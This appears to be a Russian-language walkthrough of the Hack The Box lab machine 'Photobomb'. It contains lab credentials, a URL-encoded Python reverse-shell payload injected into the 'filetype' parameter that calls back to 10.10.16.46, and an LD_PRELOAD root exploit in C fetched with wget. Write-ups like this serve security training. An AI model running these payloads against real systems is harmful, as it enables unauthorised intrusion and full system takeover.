Photobomb | HTB Easy

Professional pentester, technical writer, telegram channel owner
Начинаем
Обнаруживаем сервисы:
> nmap --min-rate 1000 -v -sC -sV -T5 photobomb.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
| 256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-favicon: Unknown favicon MD5: 622B9ED3F0195B2D1811DF6F278518C2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
2041/tcp filtered interbase
2042/tcp filtered isis
5678/tcp filtered rrac
8088/tcp filtered radan-http
19101/tcp filtered unknown
49156/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Веб-сервер на 80-ом порту с http basic аутентификацией по ссылке:

Изучая код страницы, находим скрипт photobomb.js:

В нем находим данные для аутентификации:

login : pH0t0
pass : b0Mb!
Использовав их, проваливаемся в сервис:

Поиск каталогов ничего не дал, поэтому попробуем перехватить запрос через BurpSuite:

Закидываем перехваченный пакет в Repeater и начинаем тестировать параметры photo, filetype и dimensions на возможное исполнение кода конвертером изображений.
Reverse shell
Получаем реверс шелл модификацией параметра filetype, для этого добавляем ";" после значения параметра filetype + наш шелл.
(Взять его можно отсюда , также нужно закодить его в URLEncode).

В конечном итоге, измененная часть пакета выглядит так:
&filetype=jpg; python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.16.46%22%2C4343%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fsh%22%29%27&dimensions=3000x2000
Отравляем измененный пакет, запускаем слушатель на нашей машине и получаем юзера.

# reverse shell
$ whoami
whoami
wizard
$ ls
ls photobomb user.txt
Повышение привилегий
Посмотрим вывод команды sudo -l:

Видим, что мы можем манипулировать системными переменными при использовании /opt/cleanup.sh. А это значит, что мы можем повысить привилегии, используя способ через LD_PRELOAD.
Для этого берем эсксплойт по ссылке выше:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Компилируем на нашей машине, используя следующую команду:
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
И перекидываем на атакуемую машину, через файловый сервер (например python3 -m http.server). После меняем переменную LD_PRELOAD и получаем рута.
Rooted!
$ wget 10.10.16.46:8000/pe.so
wget 10.10.16.46:8000/pe.so
--2022-10-30 19:16:18-- http://10.10.16.46:8000/pe.so
Connecting to 10.10.16.46:8000... connected.
HTTP request sent, awaiting response... l200 OK
Length: 14224 (14K) [application/octet-stream]
Saving to: ‘pe.so’
2022-10-30 19:16:19 (34.1 KB/s) - ‘pe.so’ saved [14224/14224]
bash
$ ls
ls
log
pe.so
photobomb.sh
pshell
public
resized_images
server.rb
source_images
$ mv pe.so /tmp
mv pe.so /tmp
$ sudo LD_PRELOAD=/tmp/pe.so /opt/cleanup.sh
sudo LD_PRELOAD=/tmp/pe.so /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb#




